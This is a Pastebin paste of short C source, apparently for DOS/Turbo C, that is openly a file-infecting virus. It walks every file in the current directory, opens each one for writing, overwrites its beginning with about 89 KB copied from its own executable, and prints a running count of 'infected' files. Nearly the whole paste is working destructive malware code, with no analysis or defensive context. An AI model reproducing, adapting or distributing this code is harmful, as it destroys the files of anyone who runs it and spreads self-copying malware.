Advertisement
Guest User

Untitled

a guest
Jan 24th, 2019
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.71 KB | None | 0 0
  1. #include<stdio.h> #include<io.h> #include<dos.h>
  2. #include<dir.h> #include<conio.h> #include<time.h>
  3. FILE *virus,*host; int done,a=0;
  4. unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end;
  5. void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0);
  6. while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+");
  7. if(host==NULL) goto next; x=89088; printf("Infecting %s\n",ffblk.ff_name,a);
  8. while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; }
  9. fread(buff,x,1,virus); fwrite(buff,x,1,host); a++;
  10. next: { fcloseall(); done=findnext(&ffblk); } }
  11. printf("DONE! (Total Files Infected= %d)",a); end=clock();
  12. printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK); getch(); }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement